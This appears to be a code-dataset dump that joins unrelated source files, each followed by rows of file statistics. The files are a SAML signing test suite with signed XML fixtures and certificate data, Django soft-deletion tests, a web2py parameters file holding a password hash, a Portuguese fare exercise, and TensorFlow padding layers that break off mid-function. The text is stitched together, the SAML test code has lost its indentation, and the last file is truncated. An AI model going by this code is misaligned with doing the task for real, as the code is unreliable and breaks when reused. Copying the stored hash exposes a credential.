SIGNED_RESPONSE_WITH_SIGNED_ASSERTION_SALESFORCE_XML = '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" Destination="https://www.example.net/a/example.com/acs" ID="_2972e82c07bb5453956cc11fb19cad97ed26ff8bb4" InResponseTo="mpjibjdppiodcpciaefmdahiipjpcghdcfjodkbi" IssueInstant="2011-08-11T23:38:34Z" Version="2.0"><saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">http://127.0.0.1:8000</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:CanonicalizationMethod><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"></ds:SignatureMethod><ds:Reference URI="#_2972e82c07bb5453956cc11fb19cad97ed26ff8bb4"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"></ds:Transform><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></ds:DigestMethod><ds:DigestValue>sxi1OztMxi2taVoT3kxaVXQrVx4=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>tErJwi7CBpFWXQRKxEcpkoNZKDv2D1D1hBOlEWWYOyrU5eGaaLFrQ/dMA3D7S0lGjGEf7YkkgiZOAE4dKVHhUg==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICKzCCAdWgAwIBAgIJAM8DxRNtPj90MA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTEwODEyMjA1MTIzWhcNMTIwODExMjA1MTIzWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANcNmgm4YlSUAr2xdWei5aRU/DbWtsQ47gjkv28Ekje3ob+6q0M+D5phwYDcv9ygYmuJ5wOi1cPprsWdFWmvSusCAwEAAaOBpzCBpDAdBgNVHQ4EFgQUzyBR9+vE8bygqvD6CZ/w6aQPikMwdQYDVR0jBG4wbIAUzyBR9+vE8bygqvD6CZ/w6aQPikOhSaRHMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGSCCQDPA8UTbT4/dDAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA0EAIQuPLA/mlMJAMF680kL7reX5WgyRwAtRzJK6FgNjE7kRaLZQ79UKYVYa0VAyrRdoNEyVhG4tJFEiQJzaLWsl/A==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"></samlp:StatusCode></samlp:Status><saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_7ccdda8bc6b328570c03b218d7521772998da45374" IssueInstant="2011-08-11T23:38:34Z" Version="2.0"><saml:Issuer>http://127.0.0.1:8000</saml:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:CanonicalizationMethod><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"></ds:SignatureMethod><ds:Reference URI="#_7ccdda8bc6b328570c03b218d7521772998da45374"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"></ds:Transform><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></ds:DigestMethod><ds:DigestValue>b7HwOJQgKYvhWcrUH17T8WXTY24=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>WP+9aFiuj52WLW6ebwSaQhF2nU/wtyP3E2dudTa6mVTSjItpqduUqWR3rp/q39Hsehde6i+4RlbGQkZUwZSPEw==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICKzCCAdWgAwIBAgIJAM8DxRNtPj90MA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTEwODEyMjA1MTIzWhcNMTIwODExMjA1MTIzWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANcNmgm4YlSUAr2xdWei5aRU/DbWtsQ47gjkv28Ekje3ob+6q0M+D5phwYDcv9ygYmuJ5wOi1cPprsWdFWmvSusCAwEAAaOBpzCBpDAdBgNVHQ4EFgQUzyBR9+vE8bygqvD6CZ/w6aQPikMwdQYDVR0jBG4wbIAUzyBR9+vE8bygqvD6CZ/w6aQPikOhSaRHMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGSCCQDPA8UTbT4/dDAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA0EAIQuPLA/mlMJAMF680kL7reX5WgyRwAtRzJK6FgNjE7kRaLZQ79UKYVYa0VAyrRdoNEyVhG4tJFEiQJzaLWsl/A==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature><saml:Subject><saml:NameID Format="urn:oasis:names:tc:SAML:2.0:nameid-format:email" SPNameQualifier="example.net">randomuser@example.com</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData InResponseTo="mpjibjdppiodcpciaefmdahiipjpcghdcfjodkbi" NotOnOrAfter="2011-08-11T23:43:34Z" Recipient="https://www.example.net/a/example.com/acs"></saml:SubjectConfirmationData></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="2011-08-11T23:38:04Z" NotOnOrAfter="2011-08-11T23:43:34Z"><saml:AudienceRestriction><saml:Audience>example.net</saml:Audience></saml:AudienceRestriction></saml:Conditions><saml:AuthnStatement AuthnInstant="2011-08-11T23:38:34Z"><saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:Password</saml:AuthnContextClassRef></saml:AuthnContext></saml:AuthnStatement></saml:Assertion></samlp:Response>'
X509_CERTIFICATE_DATA = "MIICKzCCAdWgAwIBAgIJAM8DxRNtPj90MA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTEwODEyMjA1MTIzWhcNMTIwODExMjA1MTIzWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANcNmgm4YlSUAr2xdWei5aRU/DbWtsQ47gjkv28Ekje3ob+6q0M+D5phwYDcv9ygYmuJ5wOi1cPprsWdFWmvSusCAwEAAaOBpzCBpDAdBgNVHQ4EFgQUzyBR9+vE8bygqvD6CZ/w6aQPikMwdQYDVR0jBG4wbIAUzyBR9+vE8bygqvD6CZ/w6aQPikOhSaRHMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGSCCQDPA8UTbT4/dDAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA0EAIQuPLA/mlMJAMF680kL7reX5WgyRwAtRzJK6FgNjE7kRaLZQ79UKYVYa0VAyrRdoNEyVhG4tJFEiQJzaLWsl/A==" # noqa
class XmlTest(unittest.TestCase, XmlTestMixin):
def _test(self, got, exp):
if type(got) != str:
got = ET.tostring(got, method='c14n', exclusive=True).decode('utf-8')
if type(exp) != str:
exp = ET.tostring(exp, method='c14n', exclusive=True).decode('utf-8')
self.assertXmlDocument(got)
self.assertXmlEquivalentOutputs(got, exp)
def _test_template(self, template_source, parameters, exp):
xml_render._get_in_response_to(parameters)
got = template_source(parameters).get_xml_string()
self._test(got, exp)
class TestSigning(XmlTest):
def test1(self):
signature_xml = get_signature_xml("this is a test", 'abcd' * 10)
expected_xml = '<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:CanonicalizationMethod><ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"></ds:SignatureMethod><ds:Reference URI="#abcdabcdabcdabcdabcdabcdabcdabcdabcdabcd"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"></ds:Transform><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></ds:Transform></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"></ds:DigestMethod><ds:DigestValue>+ia+Gd5r/5P3C8IwhDTkpEC7rQI=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>t1IywxEzobY8ZyHL+iuB+E3zzVAWByUjRqFTdyNerGbGSRwo0oYWx6hcYX+ST1DTDaQ50gV2PJeibbykFsA3vQ==</ds:SignatureValue><ds:KeyInfo><ds:X509Data><ds:X509Certificate>MIICKzCCAdWgAwIBAgIJAM8DxRNtPj90MA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwHhcNMTEwODEyMjA1MTIzWhcNMTIwODExMjA1MTIzWjBFMQswCQYDVQQGEwJBVTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANcNmgm4YlSUAr2xdWei5aRU/DbWtsQ47gjkv28Ekje3ob+6q0M+D5phwYDcv9ygYmuJ5wOi1cPprsWdFWmvSusCAwEAAaOBpzCBpDAdBgNVHQ4EFgQUzyBR9+vE8bygqvD6CZ/w6aQPikMwdQYDVR0jBG4wbIAUzyBR9+vE8bygqvD6CZ/w6aQPikOhSaRHMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIEwpTb21lLVN0YXRlMSEwHwYDVQQKExhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGSCCQDPA8UTbT4/dDAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA0EAIQuPLA/mlMJAMF680kL7reX5WgyRwAtRzJK6FgNjE7kRaLZQ79UKYVYa0VAyrRdoNEyVhG4tJFEiQJzaLWsl/A==</ds:X509Certificate></ds:X509Data></ds:KeyInfo></ds:Signature>'
self._test(ET.tostring(signature_xml, method='c14n').decode('utf-8'), expected_xml)
class TestAssertionSalesForce(XmlTest):
def test_assertion(self):
# This test simply verifies that the template isn't bad.
params = {}
params.update(IDP_PARAMS)
params.update(REQUEST_PARAMS)
params.update(RESPONSE_PARAMS)
params.update(ASSERTION_SALESFORCE_PARAMS)
self._test_template(xml_templates.AssertionSalesforceTemplate, params, ASSERTION_SALESFORCE_XML)
def test_assertion_rendering(self):
# Verifies that the xml rendering is OK.
params = {}
params.update(IDP_PARAMS)
params.update(REQUEST_PARAMS)
params.update(RESPONSE_PARAMS)
params.update(ASSERTION_SALESFORCE_PARAMS)
got = xml_render.get_assertion_salesforce_xml(params, signed=False)
self._test(got, ASSERTION_SALESFORCE_XML)
def test_signed_assertion(self):
# This test verifies that the assertion got signed properly.
params = {}
params.update(IDP_PARAMS)
params.update(REQUEST_PARAMS)
params.update(RESPONSE_PARAMS)
params.update(ASSERTION_SALESFORCE_PARAMS)
got = xml_render.get_assertion_salesforce_xml(params, signed=True)
self._test(got, SIGNED_ASSERTION_SALESFORCE_XML)
class TestResponse(XmlTest):
def test_response(self):
# This test simply verifies that the template isn't bad.
params = {}
params.update(IDP_PARAMS)
params.update(REQUEST_PARAMS)
params.update(RESPONSE_PARAMS)
xml_render._get_in_response_to(params)
got = xml_templates.ResponseTemplate(
params,
ASSERTION_SALESFORCE_XML).get_xml_string()
self._test(got, RESPONSE_XML)
def test_response_rendering(self):
# Verifies that the rendering is OK.
params = {}
params.update(IDP_PARAMS)
params.update(REQUEST_PARAMS)
params.update(RESPONSE_PARAMS)
got = xml_render.get_response_xml(params,
ASSERTION_SALESFORCE_XML,
signed=False)
self._test(got, RESPONSE_XML)
def test_response_with_signed_assertion(self):
# This test also verifies that the template isn't bad.
params = {}
params.update(IDP_PARAMS)
params.update(REQUEST_PARAMS)
params.update(RESPONSE_PARAMS)
got = xml_render.get_response_xml(params,
SIGNED_ASSERTION_SALESFORCE_XML,
signed=False)
self._test(got, RESPONSE_WITH_SIGNED_ASSERTION_SALESFORCE_XML)
def test_signed_response_with_signed_assertion(self):
# This test verifies that the response got signed properly.
params = {}
params.update(IDP_PARAMS)
params.update(REQUEST_PARAMS)
params.update(RESPONSE_PARAMS)
got = xml_render.get_response_xml(params,
SIGNED_ASSERTION_SALESFORCE_XML,
signed=True)
self._test(got, SIGNED_RESPONSE_WITH_SIGNED_ASSERTION_SALESFORCE_XML)
def test_loading_private_key():
filename = os.path.join(os.getcwd(), 'keys/sample/sample-private-key.pem')
config = {smd.PRIVATE_KEY_FILENAME: filename}
assert type(filename) is str
xml_signing.load_private_key(config)
filename = filename.encode('utf-8')
config = {smd.PRIVATE_KEY_FILENAME: filename}
xml_signing.load_private_key(config)
def test_signing_data_with_private_key():
filename = os.path.join(os.getcwd(), 'keys/sample/sample-private-key.pem')
config = {smd.PRIVATE_KEY_FILENAME: filename}
private_key = xml_signing.load_private_key(config)
data = "Some interesting data."
signature = xml_signing.sign_with_rsa(private_key, data)
assert signature != data
def test_loading_certificate_from_file():
filename = os.path.join(os.getcwd(), 'keys/sample/sample-certificate.pem')
config = {smd.CERTIFICATE_FILENAME: filename}
assert type(filename) is str
xml_signing.load_certificate(config)
filename = filename.encode('utf-8')
config = {smd.CERTIFICATE_FILENAME: filename}
certificate = xml_signing.load_certificate(config)
assert certificate == X509_CERTIFICATE_DATA
def test_loading_certificate_from_string(settings):
config = {smd.CERTIFICATE_DATA: X509_CERTIFICATE_DATA}
certificate = xml_signing.load_certificate(config)
assert certificate == X509_CERTIFICATE_DATA
| 116.176471 | 5,112 | 0.803122 | 2,506 | 23,700 | 7.489625 | 0.094573 | 0.004156 | 0.019926 | 0.024775 | 0.899728 | 0.887527 | 0.86872 | 0.861207 | 0.834461 | 0.82519 | 0 | 0.085589 | 0.069241 | 23,700 | 203 | 5,113 | 116.748768 | 0.765266 | 0.016624 | 0 | 0.432258 | 0 | 0.045161 | 0.748058 | 0.294698 | 0 | 0 | 0 | 0 | 0.245161 | 1 | 0.090323 | false | 0.032258 | 0.058065 | 0 | 0.174194 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
e081ecf9a706038b47f5d1216ac98e3405428f28 | 84 | py | Python | exporter/__init__.py | moehrenzahn/worktimer | ab92e8625652d94987c7da8ccdbf29be72bf3612 | [
"MIT"
] | 3 | 2018-07-29T20:48:15.000Z | 2019-03-29T10:42:19.000Z | exporter/__init__.py | moehrenzahn/worktimer | ab92e8625652d94987c7da8ccdbf29be72bf3612 | [
"MIT"
] | null | null | null | exporter/__init__.py | moehrenzahn/worktimer | ab92e8625652d94987c7da8ccdbf29be72bf3612 | [
"MIT"
] | null | null | null | from exporter.excel import *
from exporter.ods import *
from exporter.text import *
| 21 | 28 | 0.785714 | 12 | 84 | 5.5 | 0.5 | 0.545455 | 0.545455 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 84 | 3 | 29 | 28 | 0.916667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
e0838a257f6cd72c35cd75e7ab8f2a33ece1f927 | 3,611 | py | Python | tests/tests/logical_deletion/tests.py | ChanTsune/Django-Boost | 5141605132c1d46aee978ee3cdbc8db5e9d4b8c4 | [
"MIT"
] | 25 | 2019-05-23T11:19:18.000Z | 2022-02-19T15:28:09.000Z | tests/tests/logical_deletion/tests.py | ChanTsune/Django-Boost | 5141605132c1d46aee978ee3cdbc8db5e9d4b8c4 | [
"MIT"
] | 49 | 2019-09-17T08:40:22.000Z | 2022-03-02T14:08:27.000Z | tests/tests/logical_deletion/tests.py | ChanTsune/Django-Boost | 5141605132c1d46aee978ee3cdbc8db5e9d4b8c4 | [
"MIT"
] | 4 | 2019-09-17T08:16:55.000Z | 2020-08-24T09:33:16.000Z | from django.test import TestCase, override_settings
@override_settings(
DATABASES={
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': ':memory:',
}
}
)
class TestLogicalDeletionMixin(TestCase):
from .models import LogicalDeletionModel
model = LogicalDeletionModel
def _register_items(self, *args):
for item in args:
self.model.objects.create(name=item)
def test_delete(self):
self._register_items(*[str(i) for i in range(10)])
item = self.model.objects.get(name="0")
item.delete()
self.assertNotEqual(item.deleted_at, None)
def test_hard_delete(self):
self._register_items(*[str(i) for i in range(10)])
item = self.model.objects.get(name="0")
item.delete(hard=True)
with self.assertRaises(self.model.DoesNotExist):
self.model.objects.get(name="0")
def test_alive(self):
self._register_items(*[str(i) for i in range(10)])
item = self.model.objects.get(name="0")
item.delete()
self.assertEqual(len(self.model.objects.alive()), 9)
def test_dead(self):
self._register_items(*[str(i) for i in range(10)])
item = self.model.objects.get(name="0")
item.delete()
self.assertEqual(len(self.model.objects.dead()), 1)
def test_revive(self):
self._register_items(*[str(i) for i in range(10)])
item = self.model.objects.get(name="0")
item.delete()
self.assertEqual(len(self.model.objects.dead()), 1)
self.assertEqual(len(self.model.objects.alive()), 9)
item.revive()
self.assertEqual(len(self.model.objects.dead()), 0)
self.assertEqual(len(self.model.objects.alive()), 10)
def test_is_dead(self):
self._register_items(*[str(i) for i in range(10)])
item = self.model.objects.get(name="0")
item.delete()
self.assertTrue(item.is_dead())
def test_is_alive(self):
self._register_items(*[str(i) for i in range(10)])
item = self.model.objects.get(name="0")
self.assertTrue(item.is_alive())
class TestLogicalDeletionManager(TestCase):
from .models import LogicalDeletionModel
model = LogicalDeletionModel
def _register_items(self, *args):
for item in args:
self.model.objects.create(name=item)
def _hard_delete(self):
for i in self.model.objects.all():
i.delete(hard=True)
def test_delete(self):
self._register_items(*[str(i) for i in range(10)])
self.model.objects.delete()
self.assertEqual(len(self.model.objects.dead()), 10)
self._hard_delete()
def test_hard_delete(self):
self._register_items(*[str(i) for i in range(10)])
self.model.objects.delete(hard=True)
self.assertEqual(len(self.model.objects.dead()), 0)
self.assertEqual(len(self.model.objects.alive()), 0)
self.assertEqual(len(self.model.objects.all()), 0)
self._hard_delete()
def test_revive(self):
self._register_items(*[str(i) for i in range(10)])
self.model.objects.delete()
self.assertEqual(len(self.model.objects.dead()), 10)
self.assertEqual(len(self.model.objects.alive()), 0)
self.assertEqual(len(self.model.objects.all()), 10)
self.model.objects.revive()
self.assertEqual(len(self.model.objects.dead()), 0)
self.assertEqual(len(self.model.objects.alive()), 10)
self.assertEqual(len(self.model.objects.all()), 10)
self._hard_delete()
| 33.747664 | 61 | 0.62725 | 473 | 3,611 | 4.680761 | 0.120507 | 0.130081 | 0.224029 | 0.158988 | 0.809846 | 0.799006 | 0.788166 | 0.788166 | 0.767389 | 0.745257 | 0 | 0.018253 | 0.226253 | 3,611 | 106 | 62 | 34.066038 | 0.774159 | 0 | 0 | 0.674419 | 0 | 0 | 0.016339 | 0.0072 | 0 | 0 | 0 | 0 | 0.232558 | 1 | 0.151163 | false | 0 | 0.034884 | 0 | 0.232558 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e0f731f257289cbc8a4bd73794fd3cd4a2876254 | 92 | py | Python | parameters_8000.py | pjavete/web2py | b6a3837f0b1f304f01233bd1a2e57fb6fb4d2646 | [
"BSD-3-Clause"
] | null | null | null | parameters_8000.py | pjavete/web2py | b6a3837f0b1f304f01233bd1a2e57fb6fb4d2646 | [
"BSD-3-Clause"
] | null | null | null | parameters_8000.py | pjavete/web2py | b6a3837f0b1f304f01233bd1a2e57fb6fb4d2646 | [
"BSD-3-Clause"
] | null | null | null | password="pbkdf2(1000,20,sha512)$b8282e41158ade42$ac63185d61256ecf1045b6681c733a022327dc62"
| 46 | 91 | 0.891304 | 7 | 92 | 11.714286 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.549451 | 0.01087 | 92 | 1 | 92 | 92 | 0.351648 | 0 | 0 | 0 | 0 | 0 | 0.869565 | 0.869565 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 8 |
e0fc632f5472565906feb14e4c037a889a5c20a7 | 734 | py | Python | exerciciios/ex031.py | uneves/exercicios-cursoemvideo-python-01 | 562a7954f33bb7ede090421fb60ce8f2cda8b941 | [
"MIT"
] | null | null | null | exerciciios/ex031.py | uneves/exercicios-cursoemvideo-python-01 | 562a7954f33bb7ede090421fb60ce8f2cda8b941 | [
"MIT"
] | null | null | null | exerciciios/ex031.py | uneves/exercicios-cursoemvideo-python-01 | 562a7954f33bb7ede090421fb60ce8f2cda8b941 | [
"MIT"
] | null | null | null | dist = float(input('Informe a distancia da viagem: '))
if dist<=200:
print('O valor da viagem é: R$ {:.2f}'.format(dist*0.5))
else:
print('O valor da viagem é: R$ {:.2f}'.format(dist*0.45))
####
# ou
####
dist = float(input('Informe a distancia da viagem: '))
print('voce está prestes a comecar uma viagen de {} km'.format(dist))
if dist<=200:
preco = dist * 0.50
else:
preco = dist * 0.45
print('E o preco de sua passagem será de R$ {:.2f}'.format(preco))
#####
# ou
#####
dist = float(input('Informe a distancia da viagem: '))
print('voce está prestes a comecar uma viagen de {} km'.format(dist))
preco = dist * 0.50 if dist <= 200 else dist * 0.45
print('E o preco de sua passagem será de R$ {:.2f}'.format(preco))
| 31.913043 | 69 | 0.634877 | 127 | 734 | 3.669291 | 0.283465 | 0.064378 | 0.077253 | 0.135193 | 0.847639 | 0.847639 | 0.847639 | 0.847639 | 0.763949 | 0.763949 | 0 | 0.049751 | 0.178474 | 734 | 22 | 70 | 33.363636 | 0.723051 | 0.006812 | 0 | 0.6875 | 0 | 0 | 0.470339 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.125 | 0 | 0 | 0 | 0.375 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
1c9f503f35a9b6be8c04f9d5183d146ff2e6e259 | 11,628 | py | Python | tensorflow/optotf/keras/pad.py | VLOGroup/optox | f9d61d64aa7bb44080601517539ba5aefd75d365 | [
"MIT"
] | 7 | 2020-06-17T21:05:46.000Z | 2021-03-28T03:52:53.000Z | tensorflow/optotf/keras/pad.py | khammernik/optox | ae8bf1b4c1bfeb1e2fea24f549182d5610e09d82 | [
"MIT"
] | 4 | 2021-01-26T12:43:41.000Z | 2022-02-10T00:01:41.000Z | tensorflow/optotf/keras/pad.py | khammernik/optox | ae8bf1b4c1bfeb1e2fea24f549182d5610e09d82 | [
"MIT"
] | 4 | 2020-09-16T10:03:48.000Z | 2022-01-05T01:22:14.000Z | import tensorflow as tf
import optotf.pad
import unittest
class Pad2d(tf.keras.layers.Layer):
def __init__(self, padding, mode, channel_last=True):
super().__init__()
self.padding = padding
self.mode = mode
self.channel_last = channel_last
self.op = optotf.pad._ext.pad2d
def build(self, input_shape):
shape = tf.unstack(input_shape)
if self.channel_last:
shape = [shape[0], shape[-1], *shape[1:-1]]
new_shape = [-1, *shape[2:]]
new_shape = tf.stack(new_shape)
padded_shape = shape
padded_shape[-2] += self.padding[2] + self.padding[3]
padded_shape[-1] += self.padding[0] + self.padding[1]
padded_shape = tf.stack(padded_shape)
self.pre_pad_shape = new_shape
self.post_pad_shape = padded_shape
def call(self, x):
# first reshape the input
if self.channel_last:
x = tf.transpose(x, [0, 3, 1, 2])
x_r = tf.reshape(x, self.pre_pad_shape, self.post_pad_shape)
if x.dtype == tf.complex64 or x.dtype == tf.complex128:
x_r = tf.complex(self.op(tf.math.real(x_r), left=self.padding[0], right=self.padding[1], bottom=self.padding[2], top=self.padding[3], mode=self.mode),
self.op(tf.math.imag(x_r), left=self.padding[0], right=self.padding[1], bottom=self.padding[2], top=self.padding[3], mode=self.mode))
else:
x_r = self.op(x_r, left=self.padding[0], right=self.padding[1], bottom=self.padding[2], top=self.padding[3], mode=self.mode)
if self.channel_last:
return tf.transpose(tf.reshape(x_r, self.post_pad_shape), [0, 2, 3, 1])
else:
return tf.reshape(x_r, self.post_pad_shape)
class Pad2dTranspose(Pad2d):
def __init__(self, padding, mode, channel_last=True):
super().__init__(padding, mode, channel_last=channel_last)
self.op = optotf.pad._ext.pad2d_transpose
def build(self, input_shape):
shape = tf.unstack(input_shape)
if self.channel_last:
shape = [shape[0], shape[-1], *shape[1:-1]]
new_shape = [-1, *shape[2:]]
new_shape = tf.stack(new_shape)
padded_shape = shape
padded_shape[-2] -= self.padding[2] + self.padding[3]
padded_shape[-1] -= self.padding[0] + self.padding[1]
padded_shape = tf.stack(padded_shape)
self.pre_pad_shape = new_shape
self.post_pad_shape = padded_shape
class Pad3d(tf.keras.layers.Layer):
def __init__(self, padding, mode, channel_last=True):
super().__init__()
self.padding = padding
self.mode = mode
self.channel_last = channel_last
self.op = optotf.pad._ext.pad3d
def build(self, input_shape):
shape = tf.unstack(input_shape)
if self.channel_last:
shape = [shape[0], shape[-1], *shape[1:-1]]
new_shape = [-1, *shape[2:]]
new_shape = tf.stack(new_shape)
padded_shape = shape
padded_shape[-3] += self.padding[4] + self.padding[5]
padded_shape[-2] += self.padding[2] + self.padding[3]
padded_shape[-1] += self.padding[0] + self.padding[1]
padded_shape = tf.stack(padded_shape)
self.pre_pad_shape = new_shape
self.post_pad_shape = padded_shape
def call(self, x):
# first reshape the input
if self.channel_last:
x = tf.transpose(x, [0, 2, 3, 4, 1])
x_r = tf.reshape(x, self.pre_pad_shape, self.post_pad_shape)
if x.dtype == tf.complex64 or x.dtype == tf.complex128:
x_r = tf.complex(self.op(tf.math.real(x_r), left=self.padding[0], right=self.padding[1], bottom=self.padding[2], top=self.padding[3], front=self.padding[4], back=self.padding[5], mode=self.mode),
self.op(tf.math.imag(x_r), left=self.padding[0], right=self.padding[1], bottom=self.padding[2], top=self.padding[3], front=self.padding[4], back=self.padding[5], mode=self.mode))
else:
x_r = self.op(x_r, left=self.padding[0], right=self.padding[1], bottom=self.padding[2], top=self.padding[3], front=self.padding[4], back=self.padding[5], mode=self.mode)
if self.channel_last:
return tf.transpose(tf.reshape(x_r, self.post_pad_shape), [0, 2, 3, 4, 1])
else:
return tf.reshape(x_r, self.post_pad_shape)
class Pad3dTranspose(Pad3d):
def __init__(self, padding, mode, channel_last=True):
super().__init__(padding, mode, channel_last=channel_last)
self.op = optotf.pad._ext.pad3d_transpose
def build(self, input_shape):
shape = tf.unstack(input_shape)
if self.channel_last:
shape = [shape[0], shape[-1], *shape[1:-1]]
new_shape = [-1, *shape[2:]]
new_shape = tf.stack(new_shape)
padded_shape = shape
